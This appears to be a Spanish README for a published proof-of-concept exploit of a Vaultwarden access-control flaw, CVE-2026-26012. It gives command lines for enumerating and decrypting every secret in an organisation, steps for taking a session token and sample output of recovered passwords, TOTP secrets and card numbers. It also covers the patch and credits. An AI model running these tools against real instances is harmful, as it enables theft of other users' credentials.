
Prueba de concepto de exploit para CVE-2026-26012, un control de acceso roto en Vaultwarden que permite a cualquier miembro de la organización enumerar y descifrar todos los cifrados, omitiendo los permisos de colección.
Enumeración Completa de Cifrados Ignorando los Permisos de Colección de la Organización
Un exploit de prueba de concepto para CVE-2026-26012, una vulnerabilidad de control de acceso roto en Vaultwarden (<= 1.35.2) que permite a cualquier miembro de la organización recuperar y descifrar todos los cifrados dentro de la organización, independientemente de los permisos a nivel de colección.
🤖 Nota: Este proyecto fue desarrollado con la asistencia de Claude 3 Opus. Se utilizó IA para la generación de código, la estructura arquitectónica y la documentación. Todos los resultados han sido revisados y probados manualmente para garantizar la calidad.
| CVE | CVE-2026-26012 |
| Aviso | GHSA-h265-g7rm-h337 |
| Afectado | Vaultwarden ≤ 1.35.2 |
| Corregido en | 1.35.3 |
| CVSS 3.1 | 6.5 (Media) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Autorización Incorrecta |
| Crédito | Descubierto por @odgrso, corregido por @BlackDex |
El endpoint de la API GET /api/ciphers/organization-details es accesible para cualquier miembro de la organización. Internamente, llama a Cipher::find_by_org que devuelve todos los cifrados de la organización y luego los sirve con CipherSyncType::Organization sin aplicar el control de acceso a nivel de colección.
Dado que todos los cifrados de la organización comparten la misma clave de cifrado de la organización (que cada miembro recibe al unirse), los cifrados filtrados pueden ser completamente descifrados en el lado del cliente.
Miembro regular de la organización (restringido a la colección "Pública")
│
├── GET /api/sync → 5 cifrados (correcto)
│
└── GET /api/ciphers/organization-details
└──→ 47 cifrados (TODOS los cifrados de la organización — ERROR)
└──→ 42 cifrados de colecciones restringidas (FILTRADOS)
└──→ Descifrables con la clave de la organización que el miembro ya posee
.
├── README.md # Este archivo
├── poc_cve_2026_26012.py # Fase 1: Enumeración de cifrados y detección de fugas
├── poc_decrypt.py # Fase 2: Recuperación de la clave de la organización y descifrado de cifrados
└── LICENSE
cryptography (para el descifrado de la Fase 2)argon2-cffi (solo si la instancia objetivo utiliza KDF Argon2id)pip install cryptography
pip install argon2-cffi # opcional
Detecta si la instancia es vulnerable comparando los cifrados devueltos por el endpoint normal /api/sync frente al endpoint vulnerable /api/ciphers/organization-details.
# Autentíquese mediante el navegador (compatible con SSO + 2FA) y luego pase el token Bearer
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Token Bearer (recomendado — funciona con SSO + 2FA)
--token "eyJhbGciOi..."
# Cookie de sesión
--cookie "VAULTWARDEN_SESSION=abc123..."
# Encabezado Cookie sin procesar (múltiples cookies)
--cookie-header "session=abc; token=xyz"
# Inicio de sesión directo con contraseña (SOLO sin SSO ni 2FA)
--email [email protected] --password "MasterPassword"
Cómo extraer su token Bearer:
/api/... y copie el valor del encabezado Authorization--no-verify-ssl # Omitir la verificación SSL (certificados autofirmados)
--show-all # Mostrar también los cifrados legítimamente accesibles
--max-display 50 # Número máximo de cifrados filtrados a mostrar (predeterminado: 20)
--output results.json # Exportar todos los resultados a JSON
Recupera la clave de cifrado de la organización y descifra todos los cifrados filtrados de la Fase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Nota:
--master-passwordes su contraseña maestra de Vaultwarden, utilizada localmente para derivar la cadena de claves de descifrado. Nunca se envía a través de la red. El--tokengestiona la autenticación de la API.
Solución de problemas: Si el descifrado de la clave falla, agregue
--debugpara ver los valores intermedios en cada paso. El script prueba automáticamente 5 estrategias (HKDF moderno, HMAC heredado, clave sin procesar y variantes de omisión de HMAC) para manejar diferentes antigüedades de cuentas y configuraciones.
Si ya tiene la clave de la organización de 64 bytes (128 caracteres hexadecimales):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Cadena de Recuperación de Claves ===
[1/6] Obteniendo parámetros KDF...
KDF: PBKDF2-SHA256, iteraciones: 600000
[2/6] Derivando clave maestra...
[3/6] Estirando clave maestra (HKDF-Expand)...
[4/6] Obteniendo claves cifradas de /api/sync...
Organización: ACME Corp
[5/6] Descifrando clave simétrica del usuario...
[6/6] Descifrando clave privada RSA → Clave de la organización...
[+] ¡Clave de la organización recuperada con éxito!
[*] Descifrando 42 cifrado(s)...
============================================================
RESULTADOS DEL DESCIFRADO
============================================================
Total: 42
Descifrados: 42
Errores: 0
RESUMEN DEL IMPACTO
Contraseñas recuperadas: 35
Secretos TOTP recuperados: 12
Números de tarjetas recuperados: 3
============================================================
Cada miembro de la organización ya posee la clave simétrica de la organización, cifrada con su clave pública RSA. La cadena de descifrado es:
Contraseña Maestra + Correo Electrónico
│ PBKDF2-SHA256 o Argon2id
▼
Clave Maestra (32 bytes)
│ HKDF-Expand-SHA256
▼
Clave Estirada: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (descifra profile.key)
▼
Clave Simétrica del Usuario: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (descifra profile.privateKey)
▼
Clave Privada RSA (PKCS#8 DER de 2048 bits)
│ RSA-OAEP-SHA1 (descifra profile.organizations[].key)
▼
Clave de la Organización: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Datos de cifrado descifrados
En el modelo de Bitwarden/Vaultwarden, todos los cifrados de una organización comparten la misma clave de cifrado. El control de acceso basado en colecciones se aplica solo en el lado del servidor — el modelo criptográfico no aplica límites de colección. Cualquier miembro que tenga la clave de la organización puede descifrar cualquier cifrado de la organización. Este CVE omite el filtro del lado del servidor, exponiendo todos los cifrados a cualquier miembro.
| Tipo de Cifrado | Campos Descifrados |
|---|---|
| Inicio de sesión | nombre de usuario, contraseña, secreto TOTP, URIs |
| Tarjeta | titular, número, CVV, fecha de vencimiento |
| Identidad | nombre, SSN, pasaporte, dirección, teléfono, correo electrónico |
| Nota segura | contenido completo de la nota |
| Todos los tipos | campos personalizados, metadatos de archivos adjuntos |
Actualice Vaultwarden a 1.35.3 o posterior inmediatamente.
docker pull vaultwarden/server:1.35.3
Después de aplicar el parche, ejecute la Fase 1 nuevamente para confirmar la corrección — la herramienta debería informar NOT VULNERABLE.
Si estaba ejecutando una versión vulnerable en una organización multiusuario:
/api/ciphers/organization-detailsEste PoC se publica después de que la vulnerabilidad fue divulgada públicamente y parcheada:
Este PoC no existiría sin el trabajo de los investigadores de seguridad originales y los mantenedores:
| Rol | Quién | Contribución |
|---|---|---|
| Reportero de la Vulnerabilidad | @odgrso | Descubrió y divulgó responsablemente CVE-2026-26012 |
| Desarrollador de la Remediación | @BlackDex | Desarrolló y publicó la corrección en Vaultwarden 1.35.3 |
| Mantenedor del Proyecto | @dani-garcia | Creador de Vaultwarden, coordinó el aviso y el lanzamiento |
Gracias por mantener el ecosistema de código abierto más seguro.
Esta prueba de concepto se proporciona estrictamente para pruebas de seguridad autorizadas y fines educativos. Debe tener autorización escrita explícita antes de probar cualquier sistema que no posea. El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido) y leyes equivalentes en todo el mundo. Los autores no asumen ninguna responsabilidad por el uso indebido.
MIT — Consulte LICENSE.